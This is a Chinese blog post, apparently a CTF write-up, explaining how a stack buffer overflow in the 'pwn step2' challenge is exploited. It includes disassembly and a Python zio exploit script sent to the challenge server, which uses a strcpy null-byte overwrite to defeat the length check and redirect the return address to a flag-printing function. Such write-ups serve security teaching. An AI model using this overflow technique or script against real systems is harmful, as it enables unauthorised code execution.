

PWN STEP2 writeup —— 初试栈溢出

原创

[R00cky](#) 于 2015-05-02 07:49:06 发布 3116 收藏

分类专栏: [writeup](#) 文章标签: [栈](#) [pwn](#) [writeup](#) [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/aix0321/article/details/45437151>

版权



[writeup](#) 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

Hint: 缓冲区溢出时需要构造好哪些东西?

题目描述:

[pwnstep](#)

Writeup:

纠结要不要把这篇writeup归到“原创”分类下, 因为这道题是看了大神的writeup (注:

http://blog.csdn.net/zh_explorer/article/details/45193905) 之后才做出来的。。。。。。。。。

不过脚本完全是自己写的, 所以姑且将它算为“原创”吧。。。。。。。。。

函数step2的流程为, 第一次输入为password, 调用strcmp函数进行明码比较, 若pw不对直接结束程序。第二次输入为计算“二十三 plus 0x56 = ?”的结果, 后面有个cmp比较, 所以可以直接得到结果, 但是结果输入正确以后就没有以后了。。。

在IDA字符串窗口中找到了“pwn/step2”, 猜测可以将其作为打印flag函数的参数 (step1就是以“pwn/step1”为参数打印flag的)。函数step2的流程中并没有打印flag的函数, 因此猜测整个思路为构造栈溢出覆盖step2函数的返回地址为打印flag的函数地址, 覆盖参数为“pwn/step2”。

两次输入均有长度限制40h, 因此直接输入payload无法构造栈溢出。

但是在第二次输入之前有个strcpy, 将第一次输入的pw复制到栈中的ebp+dest处。观察栈帧发现, 从ebp+dest到长度限制ebp+var_c处距离正好为40h。因此可以在第一次输入时在正确pw后面添加任意字符串, 使其长度达到40h, 这样进行strcpy时会把字符串结束符“\0”复制到ebp+var_c处。strcpy后面对长度限制进行减一, 0-1后是FFFFFFFFFFFFFFFF, 因而突破了长度限制。后面第二次输入时就可以顺利构造栈溢出打印flag了。

```

loc_8048A01:
sub     esp, 8
lea     eax, [ebp+nptr]
push   eax           ; src
lea     eax, [ebp+dest]
push   eax           ; dest
call   strcpy
add     esp, 10h
sub     esp, 0Ch
push   offset a0h__andINeedTo ; "0h..And,I need to check if you are t
call   puts
add     esp, 10h
sub     esp, 0Ch
push   offset aPleaseCalculat ; "Please calculate:二十三 plus 0x56 =
call   puts
add     esp, 10h
mov     eax, [ebp+var_C]
sub     eax, 1
sub     esp, 4
push   0Ah
push   eax
lea     eax, [ebp+nptr]
push   eax
call   sub_804870E 第二次输入 http://blog.csdn.net/aix0321
add     esp, 10h

```

代码如下:

```

#!/user/bin/python
from zio import *
io = zio(('121.41.49.63', 7777))
io.read_until('cake.')
io.writeline('2')
io.read_until('flag.')
payload = '=L=why_dont_you_guess_me?' + 'a' * 39
io.writeline(payload)
payload = '109' + 'a' * 1101 + chr(76) + chr(137) + chr(4) + chr(8) + chr(58) + chr(140) + chr(4) + chr(8)
io.writeline(payload)
io.interact()

```